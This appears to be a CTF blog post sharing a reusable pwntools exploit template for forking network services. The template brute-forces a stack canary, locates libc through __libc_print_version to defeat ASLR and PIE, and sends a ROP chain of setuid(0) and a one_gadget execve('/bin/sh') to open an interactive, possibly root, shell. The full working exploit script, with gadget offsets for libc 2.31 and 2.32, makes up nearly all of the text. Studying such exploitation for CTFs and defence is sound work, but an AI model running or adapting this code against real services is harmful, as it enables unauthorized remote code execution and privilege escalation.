ROP Template for forking challenges

Jan. 9, 2021 // echel0n

ROP Template for forking services

Hello guys, I will show you my ROP template for pwning CTF challenges that requires defeating all mitigations.
Also will show you about useful payloads against 2.32 and 2.31 libc versions.
If you want to check out quickly what it is about, go to end of this blog.

The vulnerability exists in main

If vulnerability exists in main, when main returns, it returns to __libc_start_main.
We can use __libc_print_version when we are bruteforcing addresses, because it outputs something about remote glibc informations, when we hit it, we will know our guess is valid.
In this case, it is really useful and very close to __libc_start_main.


Let's define context values.

  1. #!/usr/bin/env python
  2. from pwn import *
  3. from time import sleep
  4. # set up terminal
  5. context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
  6. # you dont have to set this but i dont like a lot of informations, while doing bruteforcing
  7. context.log_level = "error"
  8. # if forking service is very slow, you can increase this value
  9. context.timeout = 5
  10. # target binary
  11. exe = context.binary = ELF("./bin")

Defining useful functions

  1. def start(argv=[], *a, **kw):
  2. """Start the exploit against the target."""
  3. if args.GDB:
  4. return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
  5. else:
  6. return process([exe.path] + argv, *a, **kw)
  7. def pretty(output: bytes):
  8. return output.decode("utf-8", "backslashreplace")
  9. def pprint(output: bytes):
  10. print(output.decode("utf-8", "backslashreplace"))
  11. def brut_address(addr: str):
  12. """
  13. this function is for lazy guys like me.
  14. it takes a 4 length string for ex: 'X429'
  15. Lets assume we have this objdump output.
  16. 0000000000001429 main:
  17. It is just creating 1429 2429 3429 .. f429 candidate addresses in little endian.
  18. returns list
  19. """
  20. candidates = list()
  21. candidate_address = None
  22. for i in range(0, 16):
  23. a = addr.replace("X", str(hex(i)).replace("0x", ""))
  24. candidate_address = struct.pack("B", int(a[2:4], 16)) + struct.pack("B", int(a[0:2], 16))
  25. candidates.append(candidate_address)
  26. return candidates
  27. def pack_this(string):
  28. # I feel that this function is very redundant.
  29. return struct.pack("B", int(string[2:4], 16)) + struct.pack("B", int(string[0:2], 16))

This function will bruteforce the stack canary. It will do it aggressively. Maybe little bit tinkering is needed here.
You have to change buffer_size, good_str values.

  1. def bruteforce_canary(main_process: process):
  2. """
  3. findout stack canary value
  4. """
  5. #
  6. buffer_size = 40 # change this
  7. buffer = b"\x41" * buffer_size
  8. #
  9. bad_str = "*** stack"
  10. good_str = (
  11. "CHANGEME" # change to valid output to determine candidate stack canary byte is valid
  12. )
  13. #
  14. TEMP = b""
  15. temp_full_payload = b""
  16. candidate_byte_tries = 0
  17. candidate_byte = b"\x00"
  18. STACK_CANARY = b"\x00"
  19. while True:
  20. r = remote(RSERVER, RPORT)
  21. r.clean()
  22. TEMP = STACK_CANARY
  23. try:
  24. candidate_byte = candidate_byte_tries.to_bytes(1, "big")
  25. except OverflowError:
  26. candidate_byte_tries = 0
  27. candidate_byte = candidate_byte_tries.to_bytes(1, "big")
  28. print("[*] The cookie is lost in paradise, trying again.")
  29. TEMP += candidate_byte
  30. temp_full_payload = buffer + TEMP
  31. r.send(temp_full_payload)
  32. answer = pretty(r.recvline())
  33. try:
  34. answer = pretty(r.recvline())
  35. except:
  36. pass
  37. if not bad_str in answer:
  38. STACK_CANARY = TEMP
  39. candidate_byte_tries = 0
  40. if len(STACK_CANARY) == 8 or len(STACK_CANARY) > 8:
  41. print("[*] Stack canary value is completely found.")
  42. break
  43. else:
  44. candidate_byte_tries += 1
  45. main_process.clean_and_log()
  46. r.clean()
  47. r.close()
  48. return STACK_CANARY
  1. def try_rop(main_process: process, STACK_CANARY: bytes, payload, rbp: int):
  2. """
  3. this function will send our payload with correct values and returns what it recieved.
  4. You have to change buffer_size value in this function.
  5. """
  6. r = remote(RSERVER, RPORT)
  7. buffer_size = 136 # change this
  8. buffer = b"\x40" * buffer_size
  9. rop1 = (
  10. buffer
  11. + STACK_CANARY
  12. # junk for rbp
  13. + p64(rbp)
  14. + payload
  15. )
  16. main_process.clean_and_log()
  17. r.send(rop1)
  18. answer = r.recv(4096)
  19. r.clean()
  20. r.close()
  21. return answer
  1. def findout_offset(STACK_CANARY: bytes, good_str: str, addr: str, main_process: process):
  2. """
  3. this function will use brut_address() and try_rop() function to findout last 2 bytes of something you would like to know.
  4. """
  5. c_list = brut_address(addr)
  6. answer = ""
  7. real_offset = None
  8. for candidate in c_list:
  9. answer = try_rop(main_process, STACK_CANARY, candidate)
  10. answer = pretty(answer)
  11. if good_str in answer:
  12. real_offset = candidate
  13. print("[*] Offset found")
  14. break
  15. return real_offset
  1. def bruteforce_libc(main_process: process, predicted_offset, STACK_CANARY):
  2. """
  3. this function will try to find out where is __libc_print_version
  4. the options are for libc 2.32 and 2.31, if your target is different, you have to add and define here.
  5. """
  6. # the output looks like something like this
  7. # https://github.com/lattera/glibc/blob/master/csu/version.c line 26
  8. # static const char banner[]
  9. banner = """
  10. "GNU C Library "PKGVERSION RELEASE" release version "VERSION".
  11. Copyright (C) 2018 Free Software Foundation, Inc.
  12. This is free software; see the source for copying conditions.
  13. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
  14. PARTICULAR PURPOSE.
  15. Compiled by GNU CC version "__VERSION__".
  16. """
  17. good_str = "GNU C Library"
  18. # desired return address
  19. if LIBC_LATEST:
  20. __libc_print_version = "X250" # libc.232
  21. else:
  22. __libc_print_version = "X1b0" # libc.231
  23. # mask
  24. MASK_POINT = "0xkkjjggyyX1b0".replace("X", str(predicted_offset))
  25. #
  26. TEMP = b""
  27. candidate_byte_tries = 0
  28. candidate_byte = b"\x00"
  29. predicted = struct.pack("B", int(MASK_POINT[10:12], 16))
  30. # really lazy
  31. if LIBC_LATEST:
  32. FULL_ADDRESS = b"\x50" + predicted
  33. else:
  34. FULL_ADDRESS = b"\xb0" + predicted
  35. PHASE = 1
  36. while True:
  37. TEMP = FULL_ADDRESS
  38. try:
  39. candidate_byte = candidate_byte_tries.to_bytes(1, "big")
  40. except OverflowError:
  41. candidate_byte_tries = 0
  42. candidate_byte = candidate_byte_tries.to_bytes(1, "big")
  43. print("[*] The pointer is lost in paradise, trying again.")
  44. TEMP += candidate_byte
  45. answer = try_rop(main_process, STACK_CANARY, TEMP)
  46. answer = pretty(answer)
  47. if good_str in answer:
  48. print("[*] Another offset is found")
  49. print(f"[*] Value is {candidate_byte}")
  50. FULL_ADDRESS = TEMP
  51. if len(FULL_ADDRESS) == 8 or len(FULL_ADDRESS) > 8:
  52. print("[*] Got lucky, randomness defeated, victory is near")
  53. if PHASE == 1:
  54. MASK_POINT = MASK_POINT.replace(
  55. "yy", str(hex((candidate_byte_tries)).replace("0x", ""))
  56. )
  57. PHASE += 1
  58. elif PHASE == 2:
  59. MASK_POINT = MASK_POINT.replace(
  60. "gg", str(hex((candidate_byte_tries)).replace("0x", ""))
  61. )
  62. PHASE += 1
  63. elif PHASE == 3:
  64. MASK_POINT = MASK_POINT.replace(
  65. "jj", str(hex((candidate_byte_tries)).replace("0x", ""))
  66. )
  67. PHASE += 1
  68. elif PHASE == 4:
  69. MASK_POINT = MASK_POINT.replace(
  70. "kk", str(hex((candidate_byte_tries)).replace("0x", ""))
  71. )
  72. print(f"[*] Mask is created __libc_print_version is @ {MASK_POINT}")
  73. break
  74. candidate_byte_tries = 0
  75. else:
  76. candidate_byte_tries += 1
  77. main_process.clean_and_log()
  78. return FULL_ADDRESS, MASK_POINT
  1. def get_shell(STACK_CANARY: bytes, payload: bytes, rbp: int):
  2. """
  3. after all needed information, this function sends our payload and expects a interactive connection.
  4. """
  5. r = remote(RSERVER, RPORT)
  6. buffer_size = 136 # change this
  7. buffer = b"\x40" * buffer_size
  8. rop1 = (
  9. buffer
  10. + STACK_CANARY
  11. # junk for rbp
  12. + p64(rbp)
  13. + payload
  14. )
  15. r.send(rop1)
  16. r.interactive()
  17. r.close()
  1. def main():
  2. """
  3. this is example usage of my template
  4. """
  5. STACK_CANARY = b""
  6. main_process = start()
  7. main_process.recvuntil("something about challenge hurr durr\n")
  8. STACK_CANARY = bruteforce_canary(main_process)
  9. good_str = "GNU C Library"
  10. if LIBC_LATEST:
  11. __libc_print_version = "X250"
  12. else:
  13. # example: 0x7fc99c5bf1b0 endbr64
  14. __libc_print_version = "X1b0" #
  15. real_offset = None
  16. while real_offset is None:
  17. real_offset = findout_offset(STACK_CANARY, good_str, __libc_print_version, main_process)
  18. predicted_offset = hex(real_offset[1]).replace("0x", "")[0]
  19. print(f"[*] Offset {predicted_offset}")
  20. FULL_ADDRESS, MASK_POINT = bruteforce_libc(main_process, predicted_offset, STACK_CANARY)
  21. print(f"[*] is this working? {MASK_POINT}")
  22. if LIBC_LATEST:
  23. libc.address = int(MASK_POINT, 16) - libc.sym["__libc_print_version"]
  24. else:
  25. # this sym does not work in 2.31, cannot find it, i dont know why
  26. libc.address = int(MASK_POINT, 16) - 0x271B0
  27. print(f"Your libc base is @ {hex(libc.address)}")
  28. if LIBC_LATEST:
  29. POP_R12 = libc.address + 0x00000000000282EA
  30. POP_RDI = libc.address + 0x00000000001228FA
  31. # imo, this gadget more stable than others.
  32. # 0xcda5a execve("/bin/sh", r12, r13)
  33. # constraints:
  34. # [r12] == NULL || r12 == NULL
  35. # [r13] == NULL || r13 == NULL
  36. ONE_GADGET = libc.address + 0xCDA5A
  37. SETUID = libc.sym["setuid"]
  38. if LIBC_LATEST:
  39. # this payload is for if binary owned by root, if does not you can delete POP_RDI + 0 + SETUID part.
  40. rop3 = p64(POP_RDI) + p64(0x0) + p64(SETUID) + p64(POP_R12) + p64(0x0) + p64(ONE_GADGET)
  41. else:
  42. # 0xe6e79 execve("/bin/sh", rsi, rdx)
  43. # constraints:
  44. # [rsi] == NULL || rsi == NULL
  45. # [rdx] == NULL || rdx == NULL
  46. # WARNING: this one_gadget output is wrong, it does not warn you about RBP
  47. # It also mov's something to what you overwritten to RBP value while doing ROP
  48. # You have to pass a valid area that is writable.
  49. ONE_GADGET = int(libc.address) + 0xE6E79
  50. # 0x000000000011c371: pop rdx; pop r12; ret;
  51. POP_RDX = int(libc.address) + 0x000000000011C371
  52. POP_RSI = int(libc.address) + 0x0000000000027529
  53. POP_RDI = int(libc.address) + 0x0000000000026B72
  54. # this payload is for if binary owned by root, if does not you can delete POP_RDI + 0 + SETUID part.
  55. rop3 = (
  56. p64(POP_RDI)
  57. + p64(0x0)
  58. + p64(SETUID)
  59. + p64(POP_RDX)
  60. + p64(0x0)
  61. + p64(0x0)
  62. + p64(POP_RSI)
  63. + p64(0x0)
  64. + p64(ONE_GADGET)
  65. )
  66. rbp = 0
  67. if LIBC_LATEST:
  68. rbp = 0
  69. else:
  70. # must be writable
  71. # idk if this is okay, vmmap says that this area is writable.
  72. rbp = int(libc.address) + 0x1EF000
  73. get_shell(STACK_CANARY, rop3, rbp)
  74. while True:
  75. a = input("got shell?")
  76. if "n" in a:
  77. get_shell(STACK_CANARY, rop3, rbp)
  78. elif "y" in a:
  79. break
  1. #!/usr/bin/env python
  2. from pwn import *
  3. from time import sleep
  4. context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
  5. context.log_level = "error"
  6. context.timeout = 5
  7. exe = context.binary = ELF("./bin")
  8. # IF libc 2.32
  9. LIBC_LATEST = True
  10. if LIBC_LATEST:
  11. libc = ELF("/usr/lib/libc.so.6") # also exe.libc will work tho
  12. # ubuntu 20.04
  13. else:
  14. libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
  15. RSERVER = "localhost"
  16. RPORT = 1881
  17. gdbscript = """
  18. b *main
  19. """
  20. def start(argv=[], *a, **kw):
  21. """Start the exploit against the target."""
  22. if args.GDB:
  23. return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
  24. else:
  25. return process([exe.path] + argv, *a, **kw)
  26. def pretty(output):
  27. return output.decode("utf-8", "backslashreplace")
  28. def pprint(output):
  29. print(output.decode("utf-8", "backslashreplace"))
  30. def brut_address(addr):
  31. candidates = list()
  32. candidate_address = None
  33. for i in range(0, 16):
  34. a = addr.replace("X", str(hex(i)).replace("0x", ""))
  35. candidate_address = struct.pack("B", int(a[2:4], 16)) + struct.pack("B", int(a[0:2], 16))
  36. candidates.append(candidate_address)
  37. return candidates
  38. def pack_this(string):
  39. return struct.pack("B", int(string[2:4], 16)) + struct.pack("B", int(string[0:2], 16))
  40. def bruteforce_canary(main_process: process):
  41. buffer_size = 40 # change this
  42. buffer = b"\x41" * buffer_size
  43. bad_str = "*** stack"
  44. good_str = (
  45. "CHANGEME!\n"
  46. )
  47. TEMP = b""
  48. temp_full_payload = b""
  49. candidate_byte_tries = 0
  50. candidate_byte = b"\x00"
  51. STACK_CANARY = b"\x00"
  52. while True:
  53. r = remote(RSERVER, RPORT)
  54. r.clean()
  55. TEMP = STACK_CANARY
  56. try:
  57. candidate_byte = candidate_byte_tries.to_bytes(1, "big")
  58. except OverflowError:
  59. candidate_byte_tries = 0
  60. candidate_byte = candidate_byte_tries.to_bytes(1, "big")
  61. print("[*] The cookie is lost in paradise, trying again.")
  62. TEMP += candidate_byte
  63. temp_full_payload = buffer + TEMP
  64. r.send(temp_full_payload)
  65. answer = pretty(r.recvline())
  66. try:
  67. answer = pretty(r.recvline())
  68. except:
  69. pass
  70. if not bad_str in answer:
  71. STACK_CANARY = TEMP
  72. candidate_byte_tries = 0
  73. if len(STACK_CANARY) == 8 or len(STACK_CANARY) > 8:
  74. print("[*] Stack canary value is completely found.")
  75. break
  76. else:
  77. candidate_byte_tries += 1
  78. main_process.clean_and_log()
  79. r.clean()
  80. r.close()
  81. return STACK_CANARY
  82. def try_rop(main_process: process, STACK_CANARY: bytes, payload, rbp: int):
  83. r = remote(RSERVER, RPORT)
  84. buffer_size = 136 # change this
  85. buffer = b"\x40" * buffer_size
  86. rop1 = (
  87. buffer
  88. + STACK_CANARY
  89. # junk for rbp
  90. + p64(rbp)
  91. + payload
  92. )
  93. main_process.clean_and_log()
  94. r.send(rop1)
  95. answer = r.recv(4096)
  96. r.clean()
  97. r.close()
  98. return answer
  99. def findout_offset(STACK_CANARY: bytes, good_str: str, addr: str, main_process: process):
  100. c_list = brut_address(addr)
  101. answer = ""
  102. real_offset = None
  103. for candidate in c_list:
  104. answer = try_rop(main_process, STACK_CANARY, candidate)
  105. answer = pretty(answer)
  106. if good_str in answer:
  107. real_offset = candidate
  108. print("[*] Offset found")
  109. break
  110. return real_offset
  111. def get_shell(STACK_CANARY: bytes, payload, rbp):
  112. r = remote(RSERVER, RPORT)
  113. buffer_size = 136
  114. buffer = b"\x40" * buffer_size
  115. rop1 = (
  116. buffer
  117. + STACK_CANARY
  118. # junk for rbp
  119. + p64(rbp)
  120. + payload
  121. )
  122. r.send(rop1)
  123. r.interactive()
  124. r.close()
  125. def bruteforce_libc(main_process: process, predicted_offset, STACK_CANARY):
  126. good_str = "GNU C Library"
  127. if LIBC_LATEST:
  128. __libc_print_version = "X250" # libc.232
  129. else:
  130. __libc_print_version = "X1b0" # libc.231
  131. MASK_POINT = "0xkkjjggyyX1b0".replace("X", str(predicted_offset))
  132. TEMP = b""
  133. candidate_byte_tries = 0
  134. candidate_byte = b"\x00"
  135. predicted = struct.pack("B", int(MASK_POINT[10:12], 16))
  136. if LIBC_LATEST:
  137. FULL_ADDRESS = b"\x50" + predicted
  138. else:
  139. FULL_ADDRESS = b"\xb0" + predicted
  140. PHASE = 1
  141. while True:
  142. TEMP = FULL_ADDRESS
  143. try:
  144. candidate_byte = candidate_byte_tries.to_bytes(1, "big")
  145. except OverflowError:
  146. candidate_byte_tries = 0
  147. candidate_byte = candidate_byte_tries.to_bytes(1, "big")
  148. print("[*] The pointer is lost in paradise, trying again.")
  149. TEMP += candidate_byte
  150. answer = try_rop(main_process, STACK_CANARY, TEMP)
  151. answer = pretty(answer)
  152. if good_str in answer:
  153. print("[*] Another offset is found")
  154. print(f"[*] Value is {candidate_byte}")
  155. FULL_ADDRESS = TEMP
  156. if len(FULL_ADDRESS) == 8 or len(FULL_ADDRESS) > 8:
  157. print("[*] Got lucky, pie is defeated, victory is near")
  158. if PHASE == 1:
  159. MASK_POINT = MASK_POINT.replace(
  160. "yy", str(hex((candidate_byte_tries)).replace("0x", ""))
  161. )
  162. PHASE += 1
  163. elif PHASE == 2:
  164. MASK_POINT = MASK_POINT.replace(
  165. "gg", str(hex((candidate_byte_tries)).replace("0x", ""))
  166. )
  167. PHASE += 1
  168. elif PHASE == 3:
  169. MASK_POINT = MASK_POINT.replace(
  170. "jj", str(hex((candidate_byte_tries)).replace("0x", ""))
  171. )
  172. PHASE += 1
  173. elif PHASE == 4:
  174. MASK_POINT = MASK_POINT.replace(
  175. "kk", str(hex((candidate_byte_tries)).replace("0x", ""))
  176. )
  177. print(f"[*] Mask is created __libc_print_version is @ {MASK_POINT}")
  178. break
  179. candidate_byte_tries = 0
  180. else:
  181. candidate_byte_tries += 1
  182. main_process.clean_and_log()
  183. return FULL_ADDRESS, MASK_POINT
  184. def main():
  185. STACK_CANARY = b""
  186. main_process = start()
  187. main_process.recvuntil("bla bla hurr dur\n\n")
  188. STACK_CANARY = bruteforce_canary(main_process)
  189. good_str = "GNU C Library"
  190. if LIBC_LATEST:
  191. __libc_print_version = "X250"
  192. else:
  193. # example: 0x7fc99c5bf1b0 endbr64
  194. __libc_print_version = "X1b0" #
  195. real_offset = None
  196. while real_offset is None:
  197. real_offset = findout_offset(STACK_CANARY, good_str, __libc_print_version, main_process)
  198. predicted_offset = hex(real_offset[1]).replace("0x", "")[0]
  199. print(f"[*] Offset {predicted_offset}")
  200. FULL_ADDRESS, MASK_POINT = bruteforce_libc(main_process, predicted_offset, STACK_CANARY)
  201. print(f"[*] is this working? {MASK_POINT}")
  202. if LIBC_LATEST:
  203. libc.address = int(MASK_POINT, 16) - libc.sym["__libc_print_version"]
  204. else:
  205. libc.address = int(MASK_POINT, 16) - 0x271B0 # this sym does not work in 2.31
  206. print(f"Your libc base is @ {hex(libc.address)}")
  207. if LIBC_LATEST:
  208. POP_R12 = libc.address + 0x00000000000282EA
  209. POP_RDI = libc.address + 0x00000000001228FA
  210. ONE_GADGET = libc.address + 0xCDA5A
  211. SETUID = libc.sym["setuid"]
  212. if LIBC_LATEST:
  213. rop3 = p64(POP_RDI) + p64(0x0) + p64(SETUID) + p64(POP_R12) + p64(0x0) + p64(ONE_GADGET)
  214. else:
  215. ONE_GADGET = int(libc.address) + 0xE6E79
  216. # 0x000000000011c371: pop rdx; pop r12; ret;
  217. POP_RDX = int(libc.address) + 0x000000000011C371
  218. POP_RSI = int(libc.address) + 0x0000000000027529
  219. POP_RDI = int(libc.address) + 0x0000000000026B72
  220. rop3 = (
  221. p64(POP_RDI)
  222. + p64(0x0)
  223. + p64(SETUID)
  224. + p64(POP_RDX)
  225. + p64(0x0)
  226. + p64(0x0)
  227. + p64(POP_RSI)
  228. + p64(0x0)
  229. + p64(ONE_GADGET)
  230. )
  231. rbp = 0
  232. if LIBC_LATEST:
  233. rbp = 0
  234. else:
  235. rbp = int(libc.address) + 0x1EF000
  236. get_shell(STACK_CANARY, rop3, rbp)
  237. while True:
  238. a = input("got shell?")
  239. if "n" in a:
  240. get_shell(STACK_CANARY, rop3, rbp)
  241. elif "y" in a:
  242. break
  243. if __name__ == "__main__":
  244. main()

Thank you for reading my blog, have a nice day absolute legends!